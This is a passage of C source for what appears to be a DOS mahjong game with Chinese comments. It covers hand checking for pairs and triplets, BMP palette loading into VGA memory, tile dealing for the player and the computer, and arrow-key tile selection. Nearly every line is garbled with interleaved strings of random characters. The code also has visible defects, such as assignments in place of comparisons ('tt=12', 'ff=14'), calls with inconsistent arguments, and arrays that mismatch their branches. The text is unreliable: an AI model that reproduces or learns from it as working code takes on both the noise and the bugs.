+ Z/ i* G- W7 m2 Lbreak;& V3 K  a  K0 v/ C
}
& S7 ^# `& m9 H  @0 _# ~. l, ttest[ill++]=pt[kl];5 D1 y2 V0 T, z0 |0 w
}6 Z9 _6 d" s, o5 A8 R
isthree(test,tt-2);
6 g3 O+ S  W* u; Q}
. y* Y8 E. C9 t" l5 N, p4 `} 9 u' J  n  C7 K1 s' r
else if(tt==9)
: E0 z% i( _) [' E5 Tisthree(pt,tt);
' b* u  `% Q  I% \, }+ n- melse if(tt==11)) j5 |6 L% \8 O; Z& l& S! M
for(i=0;i&lt;10;i++)+ ?: _3 `6 X% j" z( T; M
{
1 E0 Q5 T' ?4 G: g3 {0 pfor(j=0;j&lt;2;j++)
) z" W. [( O; N' U" X' t{test[j]=pt[i+j]; 4 n3 i" x  Y" ?% B
}
% l5 p* M  M; \6 |. K5 Fif(istwo(test))) {  L4 y- f; C3 R+ h+ m
{ ill=0;
8 y) u; l: y* y: P$ S" b; Jfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
- y# q4 J) L* D0 }- X0 u: D{if(kl==i)
# [/ M9 p3 l  r/ J# D9 @3 j{0 P7 w. l1 N# g3 z0 F" _
kl=kl+2;
9 ?4 g, b/ s+ J1 F+ ^$ Uif(kl==11)
# A- q% a1 w% [; @1 A! T5 c" B! Xbreak;
. x( Q4 s5 ?+ Z5 m, a0 x}
" w8 o* J5 n' G% Itest[ill++]=pt[kl];
* ~6 |0 q0 E7 ?+ @- H}
  V1 L# M9 ?) p% f0 Jisthree(test,tt-2); 2 s( W/ j$ n8 Y0 n; A1 i
}
+ \! v! R6 k- y5 c2 B- D7 a}" q% y7 z4 f- L6 y' J* c
else if(tt=12)
) u0 A$ x4 Z3 b1 Xisthree(pt,tt);0 c3 _) F- u  L) ]* M; `
else if(tt=14)
( W( @% ^  H2 b5 `: t( @for(i=0;i&lt;13;i++)3 I1 T1 m' G3 J
{" Q6 n6 o* L* H4 z- d- R9 i
for(j=0;j&lt;2;j++)" N- U! S* I* |$ M2 r4 Z1 Y
{test[j]=pt[i+j]; & G6 m, j5 e) A
}
+ L  E0 E1 O5 Vif(istwo(test)): m; v2 b+ Q& w( e( A- y
{ ill=0;
( @9 f3 W% b) n9 f, P' Yfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/$ j. \% i$ P, C) K, b7 u
{if(kl==i)  J* X6 Y$ V: ]
{
5 M" M- ^& U5 {/ ?3 K% i2 xkl=kl+2;7 E& b. A) W% [) J5 Y# h6 y1 |; O
if(kl==14)7 r) n2 Y$ Y2 H( r" |9 j
break;9 P4 r4 B- @/ S+ u, b
}
7 j3 ^1 a2 A; [test[ill++]=pt[kl];+ W, U' M6 \7 z3 `
}
- R& E; }- D8 T5 z4 _isthree(test,tt-2); / G& Y9 A/ `8 E% G. ], F2 j
}' k( y" [: U: [! ]+ p
}5 |+ l1 Z4 }% t1 s% a$ v, }3 p
if(ii==2)
# |6 z3 W! p& ]6 n* m- iistwo(pi);! Q2 b" j1 r& \5 f! M$ S
else if(ii==3)! d0 L' S. G8 K  V
isthree(pi,ii);# g% e6 \% d$ e
else if(ii==5)2 t; ]: c# U7 r' _. b' {+ P
/*pi[5]原始牌数组,假设已经升序排列*/* L- S$ ?$ x4 T9 \
/*test[3]用来放置测试牌的数组*/3 \3 D3 C0 a2 P& W. r
for(i=0;i&lt;4;i++)
; w9 w) @; |& K{" L9 L0 b! e3 s( n; _. [
for(j=0;j&lt;2;j++)
. P& y1 L5 d# D! C* X4 l$ H4 _3 o{test[j]=pi[i+j]; ' \" a6 t8 _6 N3 E+ Q5 K( y, B1 [
}
" y* [% p; e7 N5 [if(istwo(test))6 z$ n: |; ^4 \6 M; w
{ ill=0;
( K! \0 U. }; v$ n& T) Q5 \" Cfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
" ]5 R( [( @6 \  \8 r5 p) z* I8 c{if(kl==i)
, E" u2 p; i$ R; D! z7 D{0 d1 I0 m+ ~8 n+ |2 A' y1 i4 |
kl=kl+2;
" l& B( b7 K% gif(kl==5)
$ r; D4 S0 ]+ R1 |break;
4 a' l" a4 X2 m0 w: l3 P1 Z  n}
, f! E1 b5 G& X+ rtest[ill++]=pw[kl];
# M; ?, e+ `- l3 N) C+ I/ `# [}( ^" I# R0 X: b8 D2 w1 ^
isthree(test);- Y8 R: D. d2 \* p: z
}
8 w; K. W4 u* M# `. I}; L7 j* T) g1 V: `0 r" k: k
else if(ii==6)
: v' |  s- ]7 |5 Y+ d1 Bisthree(pi,ii);
. h* z8 N6 ~: z  b  \# Pelse if(ii==8)
' i: R/ s, ?/ d/ E' Qfor(i=0;i&lt;7;i++)) H) l* q& g& K3 A2 W7 S& ?1 y! M
{
. h1 y3 v0 O8 Y: n# Tfor(j=0;j&lt;2;j++). ?/ z8 L# m# N/ ~$ n; Q/ {* @3 I. t
{test[j]=pi[i+j]; 4 H+ J$ K+ ^, ]5 X4 d
}: n; X. A! @$ z7 _
if(istwo(test))- @8 n2 _+ m8 X# p7 r5 |
{ ill=0;
: X; }1 {% p7 O7 G4 I) U# kfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/5 a% d" c$ r+ _$ s
{if(kl==i)
; l6 b  G% n$ A{% T& R4 u# H& d. o
kl=kl+2;
) E' ?( E, Z/ jif(kl==8)1 H2 P) }3 Z. A+ A* P
break;
# I8 a- r+ P7 K8 M7 D}9 z3 S1 I1 \# u. e$ `
test[ill++]=pi[kl];
# }; z( r6 W. W+ l' _7 v: @}
0 D: O3 [, d) _5 s0 k; ?) U5 v! Wisthree(test,ii-2);
- \/ A! {4 {( |8 O0 E( y2 q}0 o# j+ F; |, p  i- }  W
}
+ Z6 Q4 S. f; [* D& I! ^, ~else if(ii==9)
9 y  a0 O' K' l, s# h+ k0 Iisthree(pi,ii);( F1 d! |' x) ~. \$ ^- U8 d
else if(ii==11)
$ n# A+ j6 }3 K) dfor(i=0;i&lt;10;i++)/ y- M- y' C4 S; z
{
! i6 [- n1 P5 j% m9 {! ^6 p2 Yfor(j=0;j&lt;2;j++)
$ C/ u' c( h" @4 j/ F{test[j]=pi[i+j]; 7 A: X" f7 q1 ?8 d, ]' i) |( [% c1 S
}
' O: M/ y: t4 p& I% B4 tif(istwo(test))7 y: C1 C. X9 K
{ ill=0;7 Z2 ~. q; p' b/ ]# E& g( O7 d
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/9 @. k; o# d# K* ?+ Z6 i" d
{if(kl==i)
9 @" \) q  f: D4 v7 }{
' r& J" ~2 x9 I* D5 L9 E2 \kl=kl+2;, t9 N# f6 a4 ~6 }3 a8 j% |  U
if(kl==11)5 P  Y) R9 k  N1 F( ?, u
break;
1 n0 L2 A% t9 F2 _8 U4 z8 g6 D}
% }! N/ H7 f1 D. w! utest[ill++]=pi[kl];2 L, z% O7 l2 q
}! P3 Y% q3 W. g# F, C
isthree(test,ii-2);
) g( p/ ?  q4 t& g$ p4 W$ @/ D5 F4 [: y" f2 \}
  ~6 _  }  e. `, p: `1 g}
. Z7 @; z" l7 u$ t5 @5 belse if(ii=12)
* G+ q- M. z6 K- n: S" Z: A8 V* Disthree(pi,ii);
( i7 @8 n  `) k1 `6 celse if(ii=14)
: l( S2 p" k3 Y7 M5 Q0 _( Y! B3 hfor(i=0;i&lt;13;i++)' }- _0 b3 a( ~) U. p2 r' _2 u
{
7 h1 M: y. t+ ?0 ?8 D  B+ _for(j=0;j&lt;2;j++)1 G* Q7 B  `5 J- S* Q
{test[j]=pi[i+j];
( e1 i) `# n! Z! j' e+ o}& Z: h2 M' f. a* b
if(istwo(test))
6 d5 [- M. u' |0 u{ ill=0;
: m! x, N% v: l/ G0 `3 w" Xfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/% {1 Q$ U4 {* Y' n
{if(kl==i)9 v  b% G8 {" [! C" J
{" p" c$ D. k2 V9 M+ Q) @. E3 ?
kl=kl+2;( k2 a0 f) d: ^+ M2 L/ }
if(kl==14)
( n; J7 O2 i) }4 abreak;3 V) |- e+ L1 i, B2 D: T2 W
}
# Y6 K7 j* L, f5 I/ a, [test[ill++]=pi[kl];# {: t7 M9 Y3 u. U
}
. B- t4 O# p" n; X4 z) Visthree(test,ii-2); 4 L  ^: W9 t5 Z  m0 ?# G
}
9 I8 V  t# z* Y2 u}
: U9 n6 @' `3 j3 Z' Z5 |9 gif(ff==2)
0 P9 j- H: U- Z! P6 Z6 a: g/ }istwo(pf);0 g3 B* [1 m! e" y- ?) Q" l
else if(ff==3)
. `4 R" D& V2 h: z5 n9 y, S6 T! Eisthree(pf,ff);
0 w5 c2 M' c& y$ \; D# U9 u8 `3 S1 Welse if(ff==5)' Y; Z0 v0 d' n6 {" O: ?* |
/*pf[5]原始牌数组,假设已经升序排列*/
0 N; ]! C1 C, E& \& W. U+ W7 ]  @, l/*test[3]用来放置测试牌的数组*/  o0 T2 L8 k% r% Z% F
for(i=0;i&lt;4;i++)+ D3 a4 u* r/ e0 _- R
{% P7 b& x5 `# [; [" |  ~0 R% G
for(j=0;j&lt;2;j++)! u# }3 @- j5 E0 w0 w' I9 o
{test[j]=pf[i+j]; * f2 h# k( i1 u2 x) T
}8 p8 s) u7 K9 Y) p/ @* `- d& N' B
if(istwo(test))( L3 c2 F& |6 T5 \# h  |7 @- `3 @4 J
{ ill=0;
# f  {0 A8 ?7 Z: S' q% @for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
+ f5 J- n# Z% E) s/ a; V{if(kl==i)8 P( ^& b! t& f, b
{
8 a6 L2 J$ o9 K# Ykl=kl+2;; e7 m6 ~" c$ d  u& U. {0 s
if(kl==5)2 L( q0 ]; a: x* D5 `& {; `7 T- |
break;2 v# t9 X5 |5 `4 Y: ?' n& P
}3 ]# [: c1 }1 A" v0 a1 S
test[ill++]=pf[kl];, M+ k; f. X2 S! e
}- O9 J! R. U" N7 o
isthree(test);
# ?& c5 g/ O$ g4 t+ ~2 _}
# a+ o) q, ?. N$ U2 d$ ~}: j7 Q# |- k4 m5 K# |8 d
else if(ff==6)( J" K6 y+ Z1 Q5 v
isthree(pf,ff);
  ?9 w% Q- p8 I2 Jelse if(ff==8)) `2 Z3 Z7 x  H+ W
for(i=0;i&lt;7;i++)
8 f& K% I1 D9 s+ N, N2 U, X9 P5 r, L{
3 T& s% W! S6 Y8 Rfor(j=0;j&lt;2;j++)
0 C% `( g6 c3 U) W# Z, x  j{test[j]=pf[i+j];
2 p; I) P# f8 j5 w  R+ J- n6 G}
" B$ w' a: s  R4 Y/ w9 i& a, jif(istwo(test))- D% B. z9 |8 d% e) |# K) [
{ ill=0;. ^8 z8 |# B6 q1 X9 `
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/; M+ J( j& t3 c2 f- A' U: y) J2 t8 u- `
{if(kl==i)
% [- o$ I! k9 e6 Z{1 A2 r, n5 W* U$ v2 ~
kl=kl+2;5 y( K/ q# {7 L; h9 E0 m
if(kl==8)
1 `. ?6 Q5 ^' k8 m' L% Q; ]break;' P7 I1 S+ v2 w
}* r4 N4 u8 U. S5 u+ n! x3 O
test[ill++]=pf[kl];
/ g) J; [0 _, B$ ^" }5 e}% y' {8 Z  ?1 o; X
isthree(test,ff-2); 8 m; `/ ~( s+ B5 |8 P
}
0 C" o2 Y! R) W$ `}
+ P' j, A# ?0 T* v# Xelse if(ff==9)& x) O& ?0 T1 G0 v  E6 {* t3 S1 S
isthree(pw,ww);2 i9 E! @6 q! x
else if(ff==11). j3 {6 j& E9 ]- G1 t; {! v% ]
for(i=0;i&lt;10;i++)
- r1 w% @, H/ i5 e{5 `8 }) \) c3 p- V/ g( I- G2 U
for(j=0;j&lt;2;j++)
5 |+ t3 V- l- q$ F' ?{test[j]=pf[i+j]; 7 B4 j4 [. W3 J& n# L, N5 z
}
% ?2 Q% z0 p; b- }' Vif(istwo(test)), g1 c5 _; C$ E& H9 ]
{ ill=0;
: O" S" z$ \# o4 Y% H7 ]$ Mfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/4 O, C  X2 p9 F$ \
{if(kl==i)9 ]' L' @! m. I- U. k9 t; J
{
& h5 q1 I$ E% e8 l3 ^8 Tkl=kl+2;: b3 i" w, O4 [/ ~. P+ K5 L
if(kl==11)
# ~- A8 O1 b% F2 w  B  _break;6 f* `1 Q: v4 `9 I& o) {
}5 l/ T* X9 p& \
test[ill++]=pf[kl];9 R+ B6 _" H6 s: i4 [! `9 Q# f2 k1 Q
}
3 m  i. F7 o5 zisthree(test,ff-2); $ Q5 _8 G0 l0 e. u
}
8 O" q8 {$ W$ o% b4 H% I- y} 9 j- S% E, U2 `' E
else if(ff=12)( m" r; |0 ?3 i8 |
isthree(pf,ff);
; f# J- H, y/ v' @& Nelse if(ff=14)
0 ?* N  e# b, Y6 Y( Cfor(i=0;i&lt;13;i++)6 ]1 r6 y% k6 P# I& S$ G% `; {
{
4 {; w8 d) ^1 E5 N# ^for(j=0;j&lt;2;j++)
2 \$ j. `2 ~, @( j6 V9 R{test[j]=pf[i+j]; ( A0 u% q- N3 D
}5 z, C0 {1 g8 x) O/ E) O+ v
if(istwo(test))
) c- h% O% K/ k+ m4 E" {! c- g{ ill=0;, w( D8 v* c+ S' |# A6 W% \. S" `9 d& G
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
1 @: g) i  ]5 T5 J5 z, K{if(kl==i); w4 M- z( }5 E4 ?% C6 k9 f0 ^
{: m# A; j# y( V6 a( e  Y
kl=kl+2;
3 _. x3 T# N& I6 c3 l5 i0 }if(kl==14)2 _! x+ \! L% o+ {0 u- w( G
break;
( C- G+ v0 f# T$ z' u4 H( \}$ N% D* `. j5 c" B
test[ill++]=pf[kl];' T0 p  I, @5 @
}
6 \0 O$ {0 t+ R% U$ p  Eisthree(test,ff-2);
8 o+ N: ?- i+ t5 k3 G}+ H$ s% U# w- `3 O7 e
} : f3 i+ r: J" F: O8 V/ m1 l
}& ~! J$ a2 b$ s8 P& U
void main(void)* B+ E: a* O. y% v+ ~- c
{* B' S# a& F! p7 K  o
FILE *bmp;
: s. r' i$ j0 P  V# A- Jstatic char *name[2]={"ff.bmp","logo.bmp"};
  ~+ {9 E5 u( H) j4 d4 Wchar *p;6 F) q" Y2 S- h: R! x; W
int *lingshi;
, `) V8 d0 S+ A, N# i9 E+ ?0 a- mint x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
- E, A! I9 [- `int every=0,w=0,x1,x2,y1,y2,every1=0;! }% F. s6 h2 s3 d" P* z' T
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;5 m) V" x) `0 _5 O2 g% ]' P
BYTE palette[256][3];8 C3 b% j: M6 M; \# i$ f
SETVGA;, }  N5 w( g% [& F; ]
getch();
% W$ d% I' j/ n8 Fwhile(t--)" d, N( p" t4 b5 [. w4 W) L# R
{" D" {* u  X. c  O8 G0 i
bmp=fopen(name[t],"rb");
" G. n7 g2 `# L) E3 h  Ifseek(bmp,54,SEEK_SET);
3 u7 }7 I; B# V/ Jfor(i=0;i&lt;256;i++)) W6 Q0 L" T; t+ h4 o6 a& F/ N
{0 B, Y4 e' {# w1 l  x. U9 U
palette[2]=fgetc(bmp)&gt;&gt;2;1 a0 r: }- ^4 `. k8 z! p" N5 }
palette[1]=fgetc(bmp)&gt;&gt;2;
* R( M, K8 k% L  g" R6 O' H; ypalette[0]=fgetc(bmp)&gt;&gt;2;) @' |" s* I: ~
fgetc(bmp);
" D: X! n2 I5 X$ t9 MSet_Palette(i,palette[0],palette[1],palette[2]);
7 o  ~9 I  n7 i}0 w  x& ^0 i7 Q# T0 P  I: {
for (y=0;y&lt;200;y++); @$ a+ k( Z2 |* C( n8 p! U: W. |
for(x=0;x&lt;320;x++)  _8 o1 D) M# O) d8 ]
pokeb(0xa000,y*320+x,fgetc(bmp));
$ d: M+ A8 o: e9 M$ r% xfclose(bmp);/ W( L, e) J4 H3 E( }1 B0 a! U
getch();: R  c1 |4 u; x/ ?
}+ a$ e# o& X5 h: }* C9 D4 ~" H% z
getch();  a& g( n; {6 Z
fillRectangle(0,0,320,200,0);
: B; [) Z, H4 f* ugetch();% p- d3 `2 X3 D, T2 R" h
randomize();0 f' d4 ^0 ~8 L2 C; |
me.m=onetothirteen;
1 I* e3 |, X' U. I- F+ F. jwhile(me.m&gt;0) /*先循环,给自己拿牌*/
, M1 F5 e& L2 d8 y" f; h# f, I- [{
) i9 I. S. }9 I% _+ }. V, F: t( g% j7 F( w1 z. E; v$ m
temp=random(136);
  L& s/ G/ U2 m5 Iif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)' A" x4 o' m0 @1 J4 r/ L7 D7 y
{* A; W& A; S% c; g* d
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
$ c/ a) ]( H: ^4 H- fme.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/  u5 m. g6 A1 m# W9 G
me.pp[n].number=temp; /*第几张,用来排序*/
  N% N+ P. R2 G3 j6 om[temp].data2=1; /*判断牌是谁的*/  N; B4 R9 a4 w: q0 Z
kk=1;
  Q/ Z8 v2 I4 V& K: z}- z7 I+ v- v& P! R) h0 Y
if(kk==0) /*判断如果又选择了,就从新再选*/' E, P% x  Y7 ?9 Z
{ - R1 S& }0 ^8 H; N
me.m++;
& m8 p5 ^! K  I) }; _n--;7 ?9 g9 I; K  T$ Q6 Q; Y4 [3 F, l
}4 z4 o- G% h" |1 i% y, _: H
me.m--;
1 @* n' @' x! I, e0 \; Gn++;; ~+ @, B. k; x" n% t1 t
kk=0;9 V) o* @# a' _) Z/ |1 Q! L
}
6 D2 N* d& R" |9 ]! Y3 ], A9 _. s# `me.m=12;, h/ _9 {1 a" C: d. k4 K. m
melipai(); /*理牌*/7 z2 [. q6 r5 n7 d" W/ j4 k
5 }/ e& u+ F% i) F+ @& }. k
n=13;
. A/ B9 x+ Q- t  P! vwhile(l&lt;n)& g9 o- k$ Z3 h- _5 h# L
{
3 v# d; a+ s% Z& |; Y8 i1 I3 kz=z+20;3 T) q4 \- k! J; P$ d- O
showbmp(l);
6 O" r# C& Z  p+ o; H' m8 Tl++;+ _4 K$ q  Y% j# N
4 J4 L7 l1 j8 e- u0 g0 N
}! j8 Q" q9 X8 |- V1 L0 i
randomize();( }2 ~" T* F% ^. Q, o+ x9 Y
computer.m=oneorthirteen;% @& v# e5 O" @/ Z9 X
n=0;
/ d- H5 r) S, {6 g  jwhile(computer.m&gt;0) /*循环,给对方拿牌*/
! P8 J; N1 g* @" U3 l) I4 Y{1 r* O1 a- F; E2 q
temp=random(136);1 e* T+ u+ t2 D" ~
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
& v5 n% ~6 B; W/ o- M' \# ~{7 C4 {& x+ \- c( ~  d3 M
computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/# }; b; t8 `" E
computer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/0 Z! `1 D( M9 O9 h- F
computer.pp[n].number=temp; /*第几张,用来排序*/; e( C9 U) e1 X) w: m4 P8 z
m[temp].data2=2; /*判断牌是谁的,2为电脑*/, J+ e& P5 I! U, O% g
kk=1;
" w! m% F, `9 Z! N2 Z) s7 G}
$ @: v, c1 T9 Gif(kk==0) /*判断如果又选择了,就从新再选*/
) v' c" T% ?2 T% q2 F. U: i0 Q, r{
4 K& l3 F) b% |9 m: Rcomputer.m++;
$ c' p3 [* p* H+ u9 S% l4 in--;1 B+ C; A( N/ r$ _1 p3 G! S0 [) i
}" j8 M7 S4 f2 Y, G0 M2 w# N* G( N
computer.m--;- a" i5 @: w2 y+ [
n++;) l9 ]  d$ y  P+ @2 v$ |, o
kk=0;: y! z2 x1 J7 Q& v
}% X- J+ s. S3 g/ r, T# k- i
computer.m=12;: v' S' Z& `* m! P  o
comlipai(); /*电脑理牌*/
. m& L/ o7 S" e" h' C' fn=13;% J' C; g9 P# r/ S! A* s; R+ R8 n
while(ll&lt;n)0 p  `! }$ Y5 T5 \6 v  O8 ~
{
. `/ |% v2 Q# q) x3 czy=zy+20;% c9 N3 a- J7 f1 j3 J; h
showybmp(ll);4 t3 I8 ^- t0 r- g/ P$ |
ll++;3 S) d( J9 U; j$ U
}
7 ^* _* ^' m0 {/ _0 K& I
; O$ y' |3 @7 \! D- C6 Xz=54400;. _  u# d" W+ z  a+ p
while(key!=ESC)
2 N$ w# @$ ]0 l2 y2 y+ m{
2 T  Q  Y& f+ G& S3 {* J
. p4 t- ?, h* [keyy=bioskey(0);
! t5 b" c- V2 B/ n" z/ Sif(keyy==LEFT) " j6 A6 T" k$ O* w
{ w=1;& E) |8 ]6 j$ u. a' K% q$ P/ g+ G
if(every==0)( y! Q( k; G2 J/ N* @3 y
{
' W: z  @7 S6 c+ h& Uevery=1;2 C/ o# P0 o7 p8 Z" N. n2 C
z=54440-5*320;
4 _3 w, G- h# \0 D/ L+ C2 v5 n
# ~" ~. i2 F0 {( H7 c9 o8 s) {}, v: M; g6 T1 r+ H
zz=zz+5*320;
( j$ K! O" u; w& `3 G2 W; Sshowbmp(every);# z1 t$ f/ `4 I9 _7 n" ~
if(every==0)
6 ]; |: d# Y; {8 _0 A) y{1 _8 E  y; x. F* D3 z$ g, K* {
x1=20;
9 H2 \% T+ J' b# Q# b3 \( x. uy1=165;# R6 B% v% ]% i) [/ Y2 R( _
fillRectangle(x1,y1,x1+20,y1+4,0);
0 T  t" d$ T6 g/ m}
  Q2 _# W+ {- L, B0 m& M+ W; Nif(every==1)- r  y% q: v; T1 f
{7 R  S) G3 o" g0 a8 I- Q
x1=40;& V0 T& g8 d! v) e6 z8 S6 K9 ~
y1=165;0 d' Y  Y4 \7 m
fillRectangle(x1,y1,x1+20,y1+4,0);
- |6 k9 \) C) B6 m2 D9 A3 Q}0 M$ |" f( G+ {) i1 I6 C' g. M
if(every==2)2 I5 p! K/ i6 K; b4 B6 ~$ d
{
( v9 d& Z* r& R- h( J9 d  Yx1=60;* Z  c7 L. ]' ?5 a* O
y1=165;- w  G8 S+ G) T9 d$ i5 S& X! q
fillRectangle(x1,y1,x1+20,y1+4,0);
3 T$ `( G( n6 X9 R: y}& ]/ M1 B9 h# l2 N7 N. I+ P2 c
if(every==3)( {6 m+ t) t$ G  u2 ^) p
{: q5 C8 B. N7 ], H2 m+ j
x1=80;; m* S9 u1 q' V1 d
y1=165;4 M! D" R' g, P$ E6 q1 E
fillRectangle(x1,y1,x1+20,y1+4,0);
+ H5 Z0 ]0 V* c) Q* A3 J$ q. S}
9 Q, d, H$ i4 N5 Bif(every==4)/ }1 w8 F5 |* E9 S, p1 Y& \1 _
{
' t* N% A7 x8 G2 Jx1=100;
+ `" f$ L* w: Vy1=165;+ y( ]- A0 t9 c: Q! y
fillRectangle(x1,y1,x1+20,y1+4,0);3 S2 D: l* p$ u5 r: y2 k
}
7 L. i# T* Z* q7 x# G# \if(every==5)
3 V* W, J) m0 @3 b# l6 T( P9 a{9 R0 w1 W! a& @; E! m7 ?. o
x1=120;
. L$ G1 K. m2 b1 I+ Jy1=165;
( V4 @- t8 R9 N" z8 n' V8 R& `fillRectangle(x1,y1,x1+20,y1+4,0);8 S) H+ Y" J9 ^
}
6 K, J6 s+ ^9 \( B; T/ [if(every==6)& H7 T# G/ A" A  p% m1 ~9 i) @4 H
{) t3 l' M2 W( T( n
x1=140;, i7 s1 v2 v( ~0 g' |3 N
y1=165;3 y! A: Q0 T8 B  @, y; M% r
fillRectangle(x1,y1,x1+20,y1+4,0);2 _0 l% P0 a1 F# P  x
}( G) h/ A% F8 Y1 v; B3 k% E/ `
if(every==7), f% K. m( U" I2 e
{
$ V( c) ?0 \, [x1=160;
0 F( t4 G  D1 N$ ~y1=165;
4 q' k0 m- I) l& @) a. C, a) IfillRectangle(x1,y1,x1+20,y1+4,0);( K- O% T2 B+ m, P3 f
}
; A9 U/ T( v0 _, c; s" uif(every==8)6 z* l; y; ]1 e5 s( l- p
{
7 `& N2 m: W, w5 D; x! e" ]' U9 e4 zx1=180;
- H7 ]8 ]% I3 S  e' Yy1=165;% x& Y8 D  A# P2 U
fillRectangle(x1,y1,x1+20,y1+4,0);
$ x8 e! X! h- l0 A" p* q}& l) g2 M3 M7 E/ X0 O
if(every==9)# k# N* d- z) o. C% D
{
/ I- n5 Z: d% I/ z9 e' wx1=200;/ a4 V9 j5 ~# L6 Q4 W  H6 @6 P
y1=165;
0 E$ _8 B- X# {0 KfillRectangle(x1,y1,x1+20,y1+4,0);# z6 k5 c- c7 I6 N6 t
}2 U4 K! u4 P  Q  c# h
if(every==10)  l# [) R- q! J" J  l5 f1 F+ A
{
" G1 Z( M1 p! |x1=220;
6 A6 W) \: f. u: t+ p1 j4 ^5 w9 ~, P+ Fy1=165;5 _7 B9 {/ x+ p: H6 O- ~
fillRectangle(x1,y1,x1+20,y1+4,0);( F  q5 \& ]- t, B
}
  u( K1 z% T0 Zif(every==11)
4 _# m# n) c2 S! y0 v" M4 r{
6 h' g9 O9 p/ Y" ax1=240;$ r+ ]/ W) ?4 I# Q. S! N, l
y1=165;
! W0 ]5 |+ O: }+ MfillRectangle(x1,y1,x1+20,y1+4,0);
, Q* K9 [" O- @  g* G}
' s3 S7 T% N1 b- m% K9 X: I: iif(every==12)
2 O. c5 ~4 s# h. p4 f{
& K) k( W& a! I) b5 N) lx1=260;
) i) }# {0 ^% s: qy1=165;: W- m$ c/ J- G' o4 L; I
fillRectangle(x1,y1,x1+20,y1+4,0);
2 {4 B5 l0 N2 Q. w) C! t}  t% e8 t- y4 s$ a% a& a- [% G
zz=0;( u6 W7 M& t+ w. V: b
every--;
6 W" x. i* X2 ~  G9 b+ Az=z-20;6 \* E! u) }3 @; s
}
8 ~6 g+ b8 y  c3 |( i7 ^1 p9 Kif(keyy==RIGHT)
+ n/ E7 L: d8 U{ if(w==0)
9 G; \- Z+ F6 l: J{; ^9 ]. c9 L4 K( n
z=54440-5*320;
/ X5 {, G$ K" W9 az=z-20;0 u( ]$ i" i6 D3 a# i& v% s6 ?% u
w=1;
  r/ a6 k6 M5 x+ o( R9 z3 L}
, ?; E5 o" K& ?2 v" I  |8 wif(every==12) 0 s# C6 o1 o1 ]/ S7 d  |" m/ n
{, ^1 T6 W. H+ Q: W* q
every=11;2 [  \2 \3 H! ?# v/ a0 k$ W
z=54640-5*320;( A1 B5 ^% P/ A3 L7 S  e
}3 \0 c6 x9 X" Q( h7 w
zz=zz+5*320;
" B+ P) [& v2 @* P" {2 ushowbmp(every);  A# [, c9 t2 }/ ^; X6 e7 `: Z9 f& r
if(every==0)4 o: B% A4 q+ v, [* w! d) i4 I
{
$ v: `: I2 x/ _x1=20;. W7 N2 r( [! g/ A, |  U2 T
y1=165;
( U- p) I. @$ [* z; a; f4 BfillRectangle(x1,y1,x1+20,y1+4,0);
) u6 R, q/ `3 x/ D+ O8 ~( N}6 J8 X1 X5 T  s. Z6 d5 \2 A( {- S5 m
if(every==1)
& C6 h, A$ g- H2 Z" F{& w+ a! U# E. {6 k) O
x1=40;# }+ U0 q1 U# x- V
y1=165;1 m& H2 ~- P4 q1 _. t( H
fillRectangle(x1,y1,x1+20,y1+4,0);
% }0 x2 D' M& B4 r# {/ l}
& g4 {- q, w4 `; @3 L6 [if(every==2)
4 o, Z- D$ w9 D: i8 _5 `4 I5 n{
9 I5 L1 |6 ]0 qx1=60;
6 }) Q  p4 c! x  J, }7 C9 Ey1=165;0 k) j( J3 N0 f& }
fillRectangle(x1,y1,x1+20,y1+4,0);
( t& C, l  J8 \6 s' W# M+ i}
. _7 |, w2 R. A8 |2 w7 yif(every==3)$ F3 L) {- f! I" t4 _
{9 @- N/ ^7 y9 n$ i1 V  M
x1=80;0 S  p6 }* h5 ^6 Q& v) I
y1=165;6 D4 k* O1 ]/ E5 h8 t
fillRectangle(x1,y1,x1+20,y1+4,0);3 n3 N& w& l  U
}: o3 A6 |& h4 \# R& M1 G
if(every==4)
# \  }( N+ t# s- E' K- v  X2 D8 C{
- A: G7 v! J6 J0 ^x1=100;& @9 e: h7 H# R" \- V
y1=165;, I! \3 i) Q: e+ `! L" h' ^
fillRectangle(x1,y1,x1+20,y1+4,0);( N+ R8 A3 b$ T# x" u
}
/ ^/ v# d- A2 Y+ h. G0 kif(every==5)
8 m* b% c6 {# b7 ?& r+ {/ {' ?{
# n( }4 C/ l2 o- o3 Y0 Zx1=120;; u! P( K: o. i) z
y1=165;
. ]. c+ |) Y- C3 Y1 }+ L+ EfillRectangle(x1,y1,x1+20,y1+4,0);3 `- ]7 ^* {- A
}2 G) Z. P. K, d# S/ {
if(every==6)
2 t* ?: P9 g3 G8 y{
( K2 F6 @3 ?- q9 g1 ]( gx1=140;
# s" x. }+ c: w0 b8 k9 V3 D* ry1=165;% @' z8 W% }7 N8 U' R
fillRectangle(x1,y1,x1+20,y1+4,0);
+ L$ u6 S7 P$ K}, C3 r" y$ B! z0 Q" H
if(every==7)
9 o( i) \5 }) M  U7 L* C# Q+ I1 o* S{
: H: I+ |' g- E& W8 @* [7 F7 _x1=160;
( Y7 K+ L0 x: g/ Z" q5 s6 p! i9 \y1=165;
8 d$ N9 e. V2 l  x4 j8 ZfillRectangle(x1,y1,x1+20,y1+4,0);
+ g# B* @* Q; _. G6 w}
" N; I- v3 A& Kif(every==8)" v; y' k; ~0 |+ o: J( w
{
